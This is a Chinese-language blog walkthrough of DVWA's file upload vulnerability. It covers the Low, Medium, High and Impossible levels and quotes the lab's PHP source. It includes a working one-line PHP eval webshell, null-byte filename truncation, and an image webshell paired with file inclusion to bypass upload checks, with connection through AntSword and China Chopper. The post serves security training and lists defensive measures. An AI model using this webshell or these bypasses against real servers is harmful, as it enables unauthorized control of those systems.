DVWA系列---File Upload 文件上传漏洞

一、前言

文件上传漏洞是指:

服务器对用户上传的文件没有进行严格过滤,导致用户上传了一些危险文件(如一句话木马的php文件),然后访问这些危险文件,对服务器造成控制或破坏。

当用户向服务器上传木马文件时,可通过访问该木马文件,对服务器进行越权操作。

以php的一句话木马为例,当上传该木马文件后,通过访问该文件执行一句话木马,再通过向参数(密码)传入语句作为php语句执行,达到对服务器的控制。

预防方法:

1、对用户可上传的文件类型及进行严格控制,设置白名单,防止用户上传危险文件;

2、对上传的文件进行文件名转换,防止用户直接访问到上传的文件;

3、检查文件内容特征,进行危险内容特征比对。

二、Low级别

1、演示

创建一句话木马文件:muma.php,写入内容:

<?php @eval($_POST[hack]);?>

上传并抓包:
在这里插入图片描述
直接提交上传文件
在这里插入图片描述
使用蚁剑连接,密码为:hack
在这里插入图片描述
在这里插入图片描述

2、源码

在这里插入图片描述
部分函数解释:

1、$_file()
在这里插入图片描述
2、move_uploaded_file()

该函数是将指定文件移动到指定位置
在这里插入图片描述
说明:

1、本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

2、如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

3、如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

三、Medium级别

1、演示

直接上传,提示仅支持 JPEG 和 PNG 文件
在这里插入图片描述
抓包查看详情,发现由于文件类型不符合,被拦截
在这里插入图片描述
既然要求必须PNG文件,那么可以进行图片马或者00截断两种方式进行注入,本次使用00截断。
在这里插入图片描述
创建木马文件:muma1.php.PNG,PNG后缀用于绕过检测,上传抓包:
在这里插入图片描述
在文件名的 muma1.php后添加空格,打开16进制显示格式,找到空格位置,将数字20改为00:
在这里插入图片描述
在这里插入图片描述
此时空格已经消失
在这里插入图片描述
发包,此时已经上传成功
在这里插入图片描述
菜刀连接成功。
在这里插入图片描述

2、源码

在这里插入图片描述

四、High级别

1、演示

上传 muma2.php.PNG 抓包分析
在这里插入图片描述
发现,本次的 Content-Type 也有有效内容,因此可以从两方面入手:

1、从文件本身,即更爱文件后缀等方法来绕过拦截。
2、从判断结果,即更改判断结果而不更改文件后缀来绕过拦截。

第一种:文件本身

制作图片马 muma2.png
在这里插入图片描述
直接上传图片马,需要利用文件包含漏洞解析该文件
在这里插入图片描述
在这里插入图片描述
将木马一句改为:<?php phpinfo(); ?>,并访问文件来验证是否能成功访问
在这里插入图片描述
OK,成功后再将语句改回,POST传参成功。
在这里插入图片描述
第二种:判断结果

暂未成功。

2、源码

 <?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

其中:
在这里插入图片描述

substr() 函数:
用于从指定字符串中截取一段字符
有三个参数:str,start,length
str是目标字符串,start是选取的首下标,length是可选参数,表示选取的字符串长度。

在这里插入图片描述

五、Impossible级别

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

加入了Token。

部分函数解释:

1、ini_get()
获取php配置文件里环境变量的值。
2、imagecreatefromjpeg()
返回一图像标识符,代表了从给定的文件名取得的图像。

发布了88 篇原创文章 · 获赞 121 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43968080/article/details/104088431